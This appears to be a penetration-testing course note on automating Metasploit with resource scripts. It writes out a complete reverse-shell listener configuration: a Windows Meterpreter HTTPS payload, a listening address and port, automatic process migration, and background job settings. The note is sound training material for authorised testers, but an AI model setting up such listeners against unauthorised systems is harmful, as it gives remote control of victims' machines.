x

Automating Metasploit

21.4.1 - Resource Scripts

Resource scripts can chain together a series of Metasploit console commands and Ruby code. Meaning, we can either use the built-in commands of Metasploit or write code in Ruby1 (as it's the language Metasploit is developed in) to manage control flow as well as develop advanced logic components for resource scripts.

In a penetration test, we may need to set up several multi/handler listeners each time we want to receive an incoming reverse shell. We could either let Metasploit run in the background the whole time or start Metasploit and manually set up a listener each time. We could also create a resource script to automate this task for us.

We first need to think about the sequence of the commands we want to execute. As an example:

use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_https
set LHOST 192.168.119.4
set LPORT 443

In addition, we can configure the AutoRunScript option to automatically execute a module after a session was created. I.e. notepad.exe background process create-and-migrate. Then ensure the listener keeps accepting new connections after the session is created, finally run it as a job in the background (to stop us from auto-interacting with the session)

set AutoRunScript post/windows/manage/migrate 
set ExitOnSession false
run -z -j

Save the script and start Metasploit with the script as an argument for -r. Now any metepreter shells will go through this script on-spawn

sudo msfconsole -r listener.rc

There are some useful prebuilt scripts for scanning, brute-force, autoexploitation, cred checking and much more

ls -l /usr/share/metasploit-framework/scripts/resource
Left-click: follow link, Right-click: select node, Scroll: zoom
x